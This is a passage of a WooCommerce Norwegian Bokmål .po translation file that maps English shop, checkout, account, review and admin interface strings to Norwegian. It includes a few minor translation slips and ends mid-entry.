msgid "Unfortunately your order cannot be processed as the originating bank/merchant has declined your transaction. Please attempt your purchase again."
msgstr "Dessverre kan vi ikke behandle ordren din, da betalingen din har blitt avvist. Vennligst forsøk å gjennomføre kjøpet en gang til."
#: includes/widgets/class-wc-widget-product-categories.php:78
msgid "Hide empty categories"
msgstr "Skjul tomme kategorier"
#: includes/wc-core-functions.php:618
msgid "Pakistani rupee"
msgstr "Pakistani rupee"
#: includes/wc-core-functions.php:578
msgid "Kenyan shilling"
msgstr "Kenyanske shilling"
#. translators: %s: taxes
#. translators: %s: tax amount
#: includes/class-wc-order.php:230 includes/wc-cart-functions.php:354
msgid "(includes %s)"
msgstr "(inkl. %s)"
#: includes/emails/class-wc-email-new-order.php:75
msgid "[{site_title}]: New order #{order_number}"
msgstr "[{site_title}]: Ny ordre nr. {order_number}"
#: includes/emails/class-wc-email-customer-failed-order.php:32
#: includes/emails/class-wc-email-failed-order.php:33
msgid "Failed order"
msgstr "Mislykket ordre"
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:222
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:247
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:287
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:386
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:550
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1089
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1273
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:137
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:140
#: src/StoreApi/Routes/V1/ProductsById.php:83
msgid "Invalid product ID."
msgstr "Ugyldig produkt-ID."
#. translators: error message
#: includes/class-wc-webhook.php:639
msgid "Error: Delivery URL returned response code: %s"
msgstr "Feil: Nettadressen for levering returnerte feilkode: %s"
#. translators: error message
#: includes/class-wc-webhook.php:634
msgid "Error: Delivery URL cannot be reached: %s"
msgstr "Feil: Nettadressen for levering kan ikke nås: %s"
#: includes/admin/notes/class-wc-notes-run-db-update.php:265
#: includes/admin/views/html-notice-updated.php:16
msgid "WooCommerce database update complete. Thank you for updating to the latest version!"
msgstr "WooCommerce har oppdatert databasen. Takk for at du oppdaterer til nyeste versjon!"
#: includes/class-wc-frontend-scripts.php:725
msgid "Please select some product options before adding this product to your cart."
msgstr "Foreta produktvalg før du legger dette produktet i handlekurven din."
#: includes/class-wc-countries.php:1452
msgid "State / Zone"
msgstr "Stat / Sone"
#: includes/class-wc-tax.php:838
msgid "Tax class already exists"
msgstr "Avgiftsklassen eksisterer allerede"
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:144
#: includes/rest-api/Controllers/Version2/class-wc-rest-tax-classes-v2-controller.php:94
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:692
msgid "Standard rate"
msgstr "Standardsats"
#. Translators: %s: classname and link.
#: includes/admin/views/html-admin-page-status-report.php:396
msgid "Your server does not support the %s functions - this is required for better character encoding. Some fallbacks will be used instead for it."
msgstr "Serveren din støtter ikke %s-funksjonene. Dette kreves for bedre konvertering av tegnsett. En reserveløsning vil bli brukt i stedet."
#: includes/admin/views/html-admin-page-status-report.php:389
msgid "Multibyte String (mbstring) is used to convert character encoding, like for emails or converting characters to lowercase."
msgstr "Multibyte String (mbstring) benyttes for å konvertere tegnsett, f.eks for e-post eller for å gjøre om en tekst til små bokstaver."
#. Translators: %s classname and link.
#: includes/admin/views/html-admin-page-status-report.php:354
msgid "Your server does not have the %s class enabled - some gateway plugins which use SOAP may not work as expected."
msgstr "Serveren din har ikke %s-klassen aktivert. Noen portutvidelser som bruker SOAP vil kanskje ikke fungere som forventet."
#. Translators: %1$s: MySQL version, %2$s: Recommended MySQL version.
#: includes/admin/views/html-admin-page-status-report.php:305
msgid "%1$s - We recommend a minimum MySQL version of 5.6. See: %2$s"
msgstr "%1$s - Vi anbefaler minimum PHP version 5.6. Se: %2$s"
#. Translators: %1$s: Memory limit, %2$s: Docs link.
#: includes/admin/views/html-admin-page-status-report.php:195
msgid "Increasing memory allocated to PHP"
msgstr "Øker minne tildelt PHP"
#. Translators: %1$s: Memory limit, %2$s: Docs link.
#: includes/admin/views/html-admin-page-status-report.php:195
msgid "%1$s - We recommend setting memory to at least 64MB. See: %2$s"
msgstr "%1$s - Vi anbefaler at du bruker minst 64MB minne. Se: %2$s"
#: includes/admin/settings/views/html-settings-tax.php:156
msgid "Last page"
msgstr "Siste side"
#: includes/admin/settings/views/html-settings-tax.php:152
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:12
msgid "Next page"
msgstr "Neste side"
#: includes/admin/settings/views/html-settings-tax.php:130
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/all-products-frontend.js:1
#: assets/client/blocks/all-products.js:9
msgid "Previous page"
msgstr "Forrige side"
#: includes/admin/settings/views/html-settings-tax.php:126
msgid "First page"
msgstr "Første side"
#: includes/admin/settings/views/html-settings-tax.php:104
msgid "No matching tax rates found."
msgstr "Ingen samsvarende avgiftssatser funnet."
#: includes/admin/settings/views/html-settings-tax.php:63
msgid "Tax rate ID: %s"
msgstr "Avgftsklasse-ID: %s"
#: includes/admin/settings/class-wc-settings-emails.php:578
#: includes/admin/settings/views/html-settings-tax.php:55
msgid "Loading…"
msgstr "Laster inn…"
#: includes/admin/settings/views/html-settings-tax.php:23
msgid "\"%s\" tax rates"
msgstr "\"%s\" avgiftssatser"
#: includes/admin/settings/views/html-settings-tax.php:14
msgid "Search…"
msgstr "Søk…"
#: includes/admin/settings/class-wc-settings-shipping.php:335
#: includes/admin/settings/class-wc-settings-shipping.php:381
#: includes/admin/settings/class-wc-settings-shipping.php:443
#: includes/admin/settings/class-wc-settings-tax.php:246
msgid "Your changed data will be lost if you leave this page without saving."
msgstr "Dine endrede data vil gå tapt dersom du forlater denne siden uten å lagre."
#: includes/admin/settings/class-wc-settings-emails.php:486
msgid "Manual"
msgstr "Manuelt"
#: includes/admin/settings/class-wc-settings-emails.php:486
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Manually sent"
msgstr "Manuelt sendt"
#: includes/admin/settings/class-wc-settings-emails.php:429
msgid "Content type"
msgstr "Innholdstype"
#: includes/admin/settings/class-wc-settings-emails.php:218
msgid "Footer text"
msgstr "Bunntekst"
#: includes/admin/settings/class-wc-settings-emails.php:137
msgid "\"From\" address"
msgstr "Avsenderadresse"
#. translators: %s: help description with link to WP Mail logging and support
#. page.
#: includes/admin/settings/class-wc-settings-emails.php:95
msgid "Email notifications sent from WooCommerce are listed below. Click on an email to configure it.<br>%s"
msgstr "E-postvarsler som sendes fra WooCommerce er listet opp nedenfor. Trykk på en e-post for å konfigurere den.<br>%s"
#: includes/admin/settings/class-wc-settings-emails.php:101
msgid "Email notifications"
msgstr "E-postvarslinger"
#: includes/admin/reports/class-wc-report-sales-by-date.php:723
msgid "Average gross sales amount"
msgstr "Gjennomsnittlig brutto salgsbeløp"
#. translators: %s: average total sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:475
msgid "%s average gross monthly sales"
msgstr "%s gjennomsnittlig brutto månedlig salg"
#. translators: %s: average total sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:462
msgid "%s average gross daily sales"
msgstr "%s gjennomsnittlig brutto daglig salg"
#: includes/admin/class-wc-admin-permalink-settings.php:42
msgid "Product permalinks"
msgstr "Produkt permalenker"
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:83
msgid "If you need to access the setup wizard again, please click on the button below."
msgstr "Dersom du trenger tilgang til konfigureringsveiviseren igjen, trykk på knappen nedenfor."
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:72
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:84
msgid "Setup wizard"
msgstr "Konfigureringsveiviser"
#: i18n/states.php:1426
msgid "Seti"
msgstr "Seti"
#: i18n/states.php:1425
msgid "Sagarmatha"
msgstr "Sagarmatha"
#: i18n/states.php:1424
msgid "Rapti"
msgstr "Rapti"
#: i18n/states.php:1423
msgid "Narayani"
msgstr "Narayani"
#: i18n/states.php:1422
msgid "Mechi"
msgstr "Mechi"
#: i18n/states.php:1421
msgid "Mahakali"
msgstr "Mahakali"
#: i18n/states.php:1420
msgid "Lumbini"
msgstr "Lumbini"
#: i18n/states.php:1419
msgid "Koshi"
msgstr "Koshi"
#: i18n/states.php:1418
msgid "Karnali"
msgstr "Karnali"
#: i18n/states.php:1417
msgid "Janakpur"
msgstr "Janakpur"
#: i18n/states.php:1416
msgid "Gandaki"
msgstr "Gandaki"
#: i18n/states.php:1415
msgid "Dhaulagiri"
msgstr "Dhaulagiri"
#: i18n/states.php:1414
msgid "Bheri"
msgstr "Bheri"
#: i18n/states.php:1413
msgid "Bagmati"
msgstr "Bagmati"
#: i18n/states.php:1340
msgid "Kuala Lumpur"
msgstr "Kuala Lumpur"
#: i18n/states.php:1339
msgid "Putrajaya"
msgstr "Putrajaya"
#: i18n/states.php:1332
msgid "Penang (Pulau Pinang)"
msgstr "Penang (Pulau Pinang)"
#: i18n/states.php:1329
msgid "Malacca (Melaka)"
msgstr "Malakka (Melaka)"
#: i18n/states.php:1328
msgid "Labuan"
msgstr "Labuan"
#: includes/class-wc-embed.php:105 assets/client/admin/chunks/5875.js:1
msgid "Buy now"
msgstr "Kjøp nå"
#: includes/class-wc-post-types.php:465
msgctxt "shop_order post type singular name"
msgid "Order"
msgstr "Ordre"
#: includes/class-wc-install.php:951
msgid "Monthly"
msgstr "Månedlig"
#. Translators: %s Product title.
#: includes/class-wc-form-handler.php:667
#: includes/class-wc-form-handler.php:671
#: assets/client/admin/email-editor/assets/rich-text.js:1
msgid "%s removed."
msgstr "%s fjernet."
#: includes/admin/settings/class-wc-settings-products.php:287
msgid "Enter recipients (comma separated) that will receive this notification."
msgstr "Fyll inn mottakere (kommaseparert) som skal motta dette varselet."
#: includes/admin/meta-boxes/views/html-variation-admin.php:21
msgid "Drag and drop, or click to set admin variation order"
msgstr "Dra og slipp, eller trykk for å angi variantrekkefølge for admin"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:612
msgid "Show more details"
msgstr "Vis flere detaljer"
#. translators: %s: method
#. translators: %s: payment method
#. translators: %s: shipping method
#: includes/abstracts/abstract-wc-order.php:2260
#: src/Internal/Admin/Orders/ListTable.php:1266
#: src/Internal/Admin/Orders/ListTable.php:1287
#: src/Internal/Admin/Orders/ListTable.php:1304
msgid "via %s"
msgstr "via %s"
#. Description of the plugin
#: woocommerce.php
msgid "An ecommerce toolkit that helps you sell anything. Beautifully."
msgstr "Et verktøysett for netthandel som hjelper deg å selge hva som helst. Vakkert."
#: includes/class-wc-comments.php:660
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:45
#: templates/single-product-reviews.php:143
msgid "Only logged in customers who have purchased this product may leave a review."
msgstr "Bare innloggede kunder som har kjøpt dette produktet kan legge igjen en omtale."
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:142
#: templates/single-product-reviews.php:136
msgid "Your review"
msgstr "Omtalen din"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:135
#: templates/single-product-reviews.php:132
msgid "Very poor"
msgstr "Veldig dårlig"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:134
#: templates/single-product-reviews.php:131
msgid "Not that bad"
msgstr "Ikke så dårlig"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:133
#: templates/single-product-reviews.php:130
msgid "Average"
msgstr "Gjennomsnittlig"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:132
#: templates/single-product-reviews.php:129
#: assets/client/admin/customer-effort-score/index.js:1
msgid "Good"
msgstr "Bra"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:131
#: templates/single-product-reviews.php:128
msgid "Perfect"
msgstr "Perfekt"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:130
#: templates/single-product-reviews.php:127
msgid "Rate…"
msgstr "Vurder…"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:128
#: templates/single-product-reviews.php:126
msgid "Your rating"
msgstr "Vurderingen din"
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:75
#: templates/single-product-reviews.php:81
#: assets/client/blocks/product-review-form.js:1
msgid "Submit"
msgstr "Send inn"
#. translators: %s is product title
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:71
#: templates/single-product-reviews.php:77
msgid "Leave a Reply to %s"
msgstr "Legg igjen en kommentar til%s"
#. translators: %s is product title
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:69
#: templates/single-product-reviews.php:75
#: assets/client/blocks/product-review-form.js:1
msgid "Add a review"
msgstr "Skriv en omtale"
#: templates/single-product-reviews.php:64
msgid "There are no reviews yet."
msgstr "Det er ingen omtaler ennå."
#. translators: %s: Product title.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:32
#: assets/client/blocks/product-reviews-title.js:2
msgid "One review for %s"
msgstr "En omtale for %s"
#: templates/single-product/up-sells.php:26
msgid "You may also like…"
msgstr "Du liker kanskje også…"
#: templates/single-product/review-meta.php:37
msgid "verified owner"
msgstr "bekreftet eier"
#: templates/single-product/review-meta.php:27
msgid "Your review is awaiting approval"
msgstr "Omtalen din venter på godkjenning"
#: patterns/related-products.php:15 templates/single-product/related.php:40
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/product-query.js:14
msgid "Related products"
msgstr "Relaterte produkter"
#: templates/single-product/rating.php:38
msgid "%s customer review"
msgid_plural "%s customer reviews"
msgstr[0] "%s omtale"
msgstr[1] "%s omtaler"
#: templates/single-product/meta.php:38
msgid "Tag:"
msgid_plural "Tags:"
msgstr[0] "Stikkord:"
msgstr[1] "Stikkord:"
#: templates/single-product/meta.php:36
msgid "Category:"
msgid_plural "Categories:"
msgstr[0] "Kategori:"
msgstr[1] "Kategorier:"
#: includes/admin/meta-boxes/views/html-order-item.php:41
#: templates/single-product/meta.php:32
msgid "SKU:"
msgstr "Produktnummer:"
#: templates/single-product/add-to-cart/variable.php:32
msgid "This product is currently out of stock and unavailable."
msgstr "Dette produktet er for tiden utsolgt og utilgjengelig."
#: templates/product-searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "Søk"
#: templates/product-searchform.php:24
msgid "Search for:"
msgstr "Søk etter:"
#: includes/emails/class-wc-email-customer-invoice.php:37
#: src/Blocks/BlockTypesController.php:176
#: templates/order/order-details-fulfillments.php:60
#: templates/order/order-details.php:57
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/order-confirmation-totals-wrapper.js:1
msgid "Order details"
msgstr "Ordredetaljer"
#: src/Blocks/BlockTypes/OrderConfirmation/Summary.php:35
#: templates/checkout/thankyou.php:60
#: assets/client/blocks/order-confirmation-summary.js:1
msgid "Email:"
msgstr "E-post:"
#: includes/admin/class-wc-admin-taxonomies.php:344
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:174
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:183
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:192
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:201
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:210
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:224
#: src/Blocks/BlockTypes/OrderConfirmation/Totals.php:226
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:289
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:215
#: templates/emails/email-order-details.php:126
#: templates/emails/plain/email-order-details.php:71
#: templates/emails/plain/email-order-details.php:73
#: templates/order/order-details-fulfillments.php:193
#: templates/order/order-details.php:130
msgid "Note:"
msgstr "Notat:"
#: templates/order/order-again.php:22
msgid "Order again"
msgstr "Bestill på nytt"
#: templates/order/form-tracking.php:49
msgid "Track"
msgstr "Spor"
#: templates/order/form-tracking.php:37
msgid "Email you used during checkout."
msgstr "E-postadressen som du oppgav i kassen."
#: templates/order/form-tracking.php:37
msgid "Billing email"
msgstr "E-postadresse for fakturering"
#: templates/order/form-tracking.php:36
msgid "Found in your order confirmation email."
msgstr "Finnes i e-posten din med ordrebekreftelse."
#: includes/class-wc-privacy-exporters.php:351
#: src/Internal/Admin/Orders/ListTable.php:1814
#: templates/order/form-tracking.php:36
msgid "Order ID"
msgstr "Ordre-ID"
#: templates/order/form-tracking.php:34
msgid "To track your order please enter your Order ID in the box below and press the \"Track\" button. This was given to you on your receipt and in the confirmation email you should have received."
msgstr "Fylll inn din ordre-id i boksen nedenfor og trykk på \"Spor\"-knappen for å spore ordren din. Dette ble gitt til deg på kvitteringen og i e-postbekreftelsen du skal ha mottatt."
#: templates/myaccount/view-order.php:57 templates/order/tracking.php:55
msgid "l jS \\o\\f F Y, h:ia"
msgstr "l j. F Y, H:i"
#: templates/myaccount/view-order.php:51 templates/order/tracking.php:49
msgid "Order updates"
msgstr "Ordreoppdateringer"
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1005
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1166
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:111
msgid "Order number."
msgstr "Ordrenummer."
#: templates/myaccount/my-orders.php:37
msgid "Recent orders"
msgstr "Nylige ordrer"
#. translators: %s product name
#: templates/myaccount/my-downloads.php:39
msgid "%s download remaining"
msgid_plural "%s downloads remaining"
msgstr[0] "%s nedlasting gjenstår"
msgstr[1] "%s nedlastinger gjenstår"
#: templates/myaccount/my-downloads.php:29
msgid "Available downloads"
msgstr "Tilgjengelige Nedlastinger"
#: templates/myaccount/my-address.php:75
msgid "You have not set up this type of address yet."
msgstr "Du har ikke angitt denne adressetypen ennå."
#: templates/myaccount/my-address.php:46
msgid "The following addresses will be used on the checkout page by default."
msgstr "Følgende adresser kommer til å bli brukt som standard i kassen."
#: includes/class-wc-privacy-exporters.php:150
#: includes/class-wc-privacy-exporters.php:255
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "IP Address"
msgstr "IP adresse"
#: templates/myaccount/form-reset-password.php:32
msgid "Re-enter new password"
msgstr "Gjenta nytt passord"
#: templates/myaccount/form-reset-password.php:28
msgid "New password"
msgstr "Nytt passord"
#: templates/myaccount/form-reset-password.php:25
msgid "Enter a new password below."
msgstr "Fyll inn et nytt passord nedenfor."
#: templates/myaccount/form-lost-password.php:25
msgid "Lost your password? Please enter your username or email address. You will receive a link to create a new password via email."
msgstr "Glemt passordet ditt? Fyll inn ditt brukernavn eller e-postadresse. Du vil motta en lenke for å opprette et nytt passord via e-post."
#: templates/myaccount/form-login.php:70 templates/myaccount/form-login.php:107
msgid "Register"
msgstr "Registrer"
#: templates/myaccount/form-edit-address.php:46
msgid "Save address"
msgstr "Lagre adresse"
#: includes/class-wc-privacy-erasers.php:61
#: includes/class-wc-privacy-exporters.php:200
msgid "Shipping Address 2"
msgstr "Leveringsadresse 2"
#: includes/class-wc-privacy-erasers.php:50
#: includes/class-wc-privacy-exporters.php:189
msgid "Billing Address 2"
msgstr "Fakturaadresse 2"
#: templates/myaccount/form-edit-account.php:75
msgid "Confirm new password"
msgstr "Bekreft nytt passord"
#: templates/myaccount/form-edit-account.php:71
msgid "New password (leave blank to leave unchanged)"
msgstr "Nytt passord (la stå tomt for uendret)"
#: templates/myaccount/form-edit-account.php:67
msgid "Current password (leave blank to leave unchanged)"
msgstr "Nåværende passord (la stå tomt for uendret)"
#: templates/myaccount/form-edit-account.php:64
msgid "Password change"
msgstr "Endring av passord"
#: includes/admin/class-wc-admin-profile.php:90
#: includes/admin/class-wc-admin-setup-wizard.php:2242
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:99
#: includes/class-wc-countries.php:1758 includes/class-wc-form-handler.php:290
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:268
#: src/Blocks/Domain/Services/CheckoutFields.php:667
#: templates/checkout/form-verify-email.php:44
#: templates/myaccount/form-edit-account.php:50
#: templates/myaccount/form-login.php:86
msgid "Email address"
msgstr "E-postadresse"
#: templates/loop/sale-flash.php:27 templates/single-product/sale-flash.php:27
msgid "Sale!"
msgstr "Tilbud!"
#. translators: 1: total results 2: sorted by
#: templates/loop/result-count.php:32
msgid "Showing all %1$d result"
msgid_plural "Showing all %1$d results"
msgstr[0] "Viser det %1$d resultatet"
msgstr[1] "Viser alle %1$d resultater"
#: templates/loop/result-count.php:28
msgid "Showing the single result"
msgstr "Viser det ene resultatet"
#: templates/loop/no-products-found.php:22
#: assets/client/blocks/legacy-template.js:3
msgid "No products were found matching your selection."
msgstr "Fant ingen produkter som passet med valgene dine."
#: templates/global/form-login.php:54 templates/myaccount/form-login.php:57
msgid "Lost your password?"
msgstr "Mistet passordet ditt?"
#: templates/global/form-login.php:47 templates/myaccount/form-login.php:51
msgid "Remember me"
msgstr "Husk meg"
#: templates/global/form-login.php:34
#: templates/myaccount/form-lost-password.php:28
msgid "Username or email"
msgstr "Brukernavn eller e-post"
#. translators: %s: Order link.
#: templates/emails/plain/email-order-details.php:79
msgid "View order: %s"
msgstr "Vis ordre: %s"
#: src/Blocks/BlockTypesController.php:192
#: templates/emails/email-addresses.php:64
#: templates/emails/email-addresses.php:66
#: templates/emails/plain/email-addresses.php:47
#: templates/myaccount/form-edit-address.php:20
#: templates/myaccount/my-address.php:27
#: templates/order/order-details-customer.php:61
#: assets/client/blocks/checkout-frontend.js:3
#: assets/client/blocks/checkout.js:15
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/order-confirmation-shipping-wrapper.js:1
msgid "Shipping address"
msgstr "Leveringsadresse"
#: src/Blocks/BlockTypesController.php:200
#: templates/emails/email-addresses.php:33
#: templates/emails/email-addresses.php:35
#: templates/emails/plain/email-addresses.php:20
#: templates/myaccount/form-edit-address.php:20
#: templates/myaccount/my-address.php:26 templates/myaccount/my-address.php:35
#: templates/order/order-details-customer.php:31
#: assets/client/blocks/checkout-frontend.js:3
#: assets/client/blocks/checkout.js:19
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/order-confirmation-billing-wrapper.js:1
msgid "Billing address"
msgstr "Fakturaadresse"
#: templates/emails/customer-reset-password.php:52
msgid "Click here to reset your password"
msgstr "Trykk her for å tilbakestille passordet ditt"
#. translators: URL follows
#: templates/emails/plain/customer-new-account.php:47
msgid "To set your password, visit the following address: "
msgstr "For å bestemme passordet ditt, gå til følgende adresse: "
#. translators: %s: Customer username
#: templates/emails/customer-reset-password.php:43
#: templates/emails/plain/customer-reset-password.php:36
msgid "Username: %s"
msgstr "Brukernavn: %s"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:68
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:175
#: templates/checkout/order-received.php:35
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/order-confirmation-status.js:1
msgid "Thank you. Your order has been received."
msgstr "Takk, vi har mottatt ordren din."
#: templates/checkout/payment.php:46
msgid "Update totals"
msgstr "Oppdater totaler"
#. translators: $1 and $2 opening and closing emphasis tags respectively
#: templates/checkout/payment.php:44
msgid "Since your browser does not support JavaScript, or it is disabled, please ensure you click the %1$sUpdate Totals%2$s button before placing your order. You may be charged more than the amount stated above if you fail to do so."
msgstr "Fordi nettleseren din ikke støtter JavaScript, eller JavaScript er slått av, må du klikke på %1$sOppdater total%2$s før du sender ordren. Om du ikke gjør det, risikerer du å betale mer enn beløpet som vises ovenfor."
#: templates/checkout/payment.php:34
msgid "Sorry, it seems that there are no available payment methods. Please contact us if you require assistance or wish to make alternate arrangements."
msgstr "Beklager, det ser ikke ut til å være noen tilgjengelige betalingsmåter. Ta kontakt med oss hvis du trenger hjelp eller ønsker å gjøre alternative avtaler."
#: templates/checkout/payment.php:34
msgid "Please fill in your details above to see available payment methods."
msgstr "Fyll inn detaljene dine ovenfor for å se tilgjengelige betalingsmåter."
#: templates/checkout/form-shipping.php:26
msgid "Ship to a different address?"
msgstr "Sende til en annen adresse?"
#: includes/class-wc-query.php:122
#: includes/shortcodes/class-wc-shortcode-checkout.php:208
msgid "Pay for order"
msgstr "Betal for ordren"
#: templates/checkout/form-pay.php:89
msgid "Sorry, it seems that there are no available payment methods for your location. Please contact us if you require assistance or wish to make alternate arrangements."
msgstr "Beklager, det ser ikke ut til å finnes noe betalingsmåte for adressen din. Kontakt oss dersom du behøver hjelp, eller ønsker en alternativ løsning."
#: includes/admin/class-wc-admin-setup-wizard.php:236
#: includes/admin/class-wc-admin-setup-wizard.php:1760
msgid "Payment"
msgstr "Betaling"
#: templates/checkout/form-login.php:47
msgid "If you have shopped with us before, please enter your details below. If you are a new customer, please proceed to the Billing section."
msgstr "Dersom du har handlet hos oss før kan du fylle ut detaljene dine nedenfor. Er du en ny kunde kan du fortsett til seksjonen for fakturering."
#: templates/checkout/form-login.php:32
msgid "Click here to login"
msgstr "Trykk her for å logge inn"
#: templates/checkout/form-login.php:31
msgid "Returning customer?"
msgstr "Registrert som kunde?"
#: templates/checkout/form-coupon.php:35
msgid "Click here to enter your code"
msgstr "Trykk her for å fylle inn koden"
#: templates/checkout/form-coupon.php:35
msgid "Have a coupon?"
msgstr "Har du en rabattkode?"
#: templates/checkout/form-checkout.php:54
msgid "Your order"
msgstr "Ordren din"
#: src/StoreApi/Routes/V1/Checkout.php:941
#: templates/checkout/form-checkout.php:26
#: assets/client/blocks/checkout-frontend.js:5
msgid "You must be logged in to checkout."
msgstr "Du må være pålogget for å gå til kassen."
#: templates/checkout/form-billing.php:53
msgid "Create an account?"
msgstr "Opprett en konto?"
#: templates/checkout/form-billing.php:24
msgid "Billing & Shipping"
msgstr "Fakturering & Frakt"
#: templates/checkout/cart-errors.php:25
msgid "Return to cart"
msgstr "Tilbake til handlekurven"
#: templates/checkout/cart-errors.php:21
msgid "There are some issues with the items in your cart. Please go back to the cart page and resolve these issues before checking out."
msgstr "Det er problemer med noe av innholdet i handlekurven, du må gå tilbake til den for å løse dette før du kan fortsette til kassen."
#: templates/cart/shipping-calculator.php:24
msgid "Calculate shipping"
msgstr "Beregn frakt"
#: templates/cart/proceed-to-checkout-button.php:26
msgid "Proceed to checkout"
msgstr "Fortsett til kassen"
#: includes/admin/settings/class-wc-settings-accounts.php:63
#: includes/customizer/class-wc-shop-customizer.php:733
#: includes/wc-template-functions.php:2457
#: src/Blocks/BlockTypes/Checkout.php:136
#: src/Internal/Admin/Orders/ListTable.php:610
#: templates/checkout/form-checkout.php:32
#: assets/client/blocks/checkout-frontend.js:5
msgid "Checkout"
msgstr "Kasse"
#: templates/cart/mini-cart.php:100
msgid "No products in the cart."
msgstr "Du har ingen produkter i handlekurven."
#: includes/class-wc-install.php:2948 templates/cart/cross-sells.php:24
msgid "You may be interested in…"
msgstr "Du er kanskje interessert i…"
#: templates/cart/cart.php:180
msgid "Update cart"
msgstr "Oppdater handlekurv"
#: includes/admin/meta-boxes/views/html-order-items.php:318
#: templates/cart/cart.php:175 templates/checkout/form-coupon.php:47
msgid "Apply coupon"
msgstr "Bruk rabattkode"
#. translators: %s: Quantity.
#: includes/admin/importers/mappings/generic.php:25
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:261
#: includes/admin/meta-boxes/views/html-order-items.php:435
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:73
#: templates/cart/cart.php:32 templates/cart/cart.php:131
#: templates/emails/email-order-details.php:78
#: templates/global/quantity-input.php:24
msgid "Quantity"
msgstr "Antall"
#: src/Blocks/BlockTypes/MiniCartFooterBlock.php:29
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:320
#: templates/cart/cart-totals.php:30 templates/cart/cart-totals.php:31
#: templates/cart/cart.php:33 templates/cart/cart.php:157
#: templates/checkout/review-order.php:24
#: templates/checkout/review-order.php:56
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/mini-cart-contents-block/footer-frontend.js:1
#: assets/client/blocks/mini-cart-contents-block/footer-style.js:1
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:47
msgid "Subtotal"
msgstr "Delsum"
#: templates/cart/cart-totals.php:25 assets/client/blocks/cart-frontend.js:8
#: assets/client/blocks/cart.js:26
msgid "Cart totals"
msgstr "Totalt i handlekurven"
#: includes/wc-template-functions.php:4055
msgid "Your cart is currently empty."
msgstr "Handlekurven din er tom."
#: templates/auth/header.php:27
msgid "Application authentication request"
msgstr "Applikasjon autentiseringsforespørsel"
#: includes/class-wc-checkout.php:286 templates/auth/form-login.php:44
#: templates/global/form-login.php:38 templates/myaccount/form-login.php:43
#: templates/myaccount/form-login.php:93
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/order-confirmation-create-account-frontend.js:2
#: assets/client/blocks/order-confirmation-create-account.js:2
msgid "Password"
msgstr "Passord"
#: templates/auth/form-login.php:40 templates/myaccount/form-login.php:39
msgid "Username or email address"
msgstr "Brukernavn eller e-postadresse"
#. translators: %1$s: app name, %2$s: URL
#: templates/auth/form-login.php:34
msgid "To connect to %1$s you need to be logged in. Log in to your store below, or <a href=\"%2$s\">cancel and return to %1$s</a>"
